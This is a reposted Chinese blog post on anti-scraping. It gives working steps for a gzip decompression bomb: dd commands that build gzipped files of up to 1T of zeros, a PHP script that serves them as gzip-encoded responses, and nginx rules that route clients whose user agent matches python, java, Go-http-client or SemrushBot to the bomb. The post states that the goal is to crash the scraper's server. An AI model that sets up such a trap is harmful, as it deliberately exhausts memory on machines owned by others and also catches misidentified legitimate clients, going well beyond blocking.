反爬

说明

文章为转载, 未做实际测试

一般对于那些采集不听劝或者比较恶意的UA什么的,换着花样来访问的,那就换个脏的玩法,反正不听劝

那就给服务器上加个逻辑技(zha)术(dan):

知道某个请求是爬虫发来的了,不满足于单单屏蔽对方,而是想搞死对方,那就玩点脏的!


1.linux超大文件(炸弹)制作在Linux中,使用以下命令:

dd if=/dev/zero bs=1M count=1024 | gzip > 1G.gzip
//制作1G文件
dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip
//制作10G文件
dd if=/dev/zero bs=1M count=1048576 | gzip > 1T.gzip
//制作1T文件

我一般都做个1T的



2.PHP调用返回文件代码(404.php)


<?php
header('Content-Encoding: gzip');
echo file_get_contents('1T.gzip');
?>



3.Nginx添加配置返回脏弹


伪静态配置:


location / {
  #UA 脏弹
  if ($http_user_agent ~* "(SemrushBot|Semrush|python|java|Go-http-client)") {
    rewrite ^/.*  /404.php last;
  }
}


(SemrushBot|Semrush|python|java|Go-http-client)为恶意UA匹配,自由发挥


当然如果知道是来自哪里的采集也可以去全局配置文件里面写:


if ($host ~ '^www.a.com|IP'){
     rewrite ^/.*  /404.php last;
   }

+++++++++++++++++++++++++++++++++++++++++++++++++

还是谨慎点使用比较好,实测有效,简单科普一下:

一般网站服务器会使用 gzip 压缩一些资文件源,这些资源在网络上传输的时候,是压缩后的二进制格式。客户端收到返回以后,如果发现返回的Headers里面有一个字段叫做 Content-Encoding ,其中的值包含 gzip ,那么客户端就会先使用 gzip 对数据进行解压,解压完成以后再把它呈现到客户端上面。

浏览器自动就会做这个事情,用户是感知不到这个事情发生的。而 requests 、 Scrapy 这种网络请求库或者爬虫框架,也会帮你做这个事情,因此你不需要手动对网站返回的数据解压缩。如果我们把一个1GB的文件压缩成1MB,那么对服务器来说,仅仅是返回了1MB的二进制数据,不会造成任何影响。但是对客户端或者爬虫来说,它拿到这个1MB的数据以后,就会在内存中把它还原成1GB的内容。如果我们进一步增大原始数据,很容易就可以把爬虫所在的服务器内存全部沾满,轻者服务器直接杀死爬虫进程,重则爬虫服务器直接死机。

**所以安排好了别自己测试,后果自负!所以安排好了别自己测试,后果自负!所以安排好了别自己测试,后果自负!

原文链接: 反爬 版权所有,转载时请注明出处,违者必究。
注明出处格式:流沙团 ( https://www.gyarmy.com/post-825.html )

发表评论

0则评论给“反爬”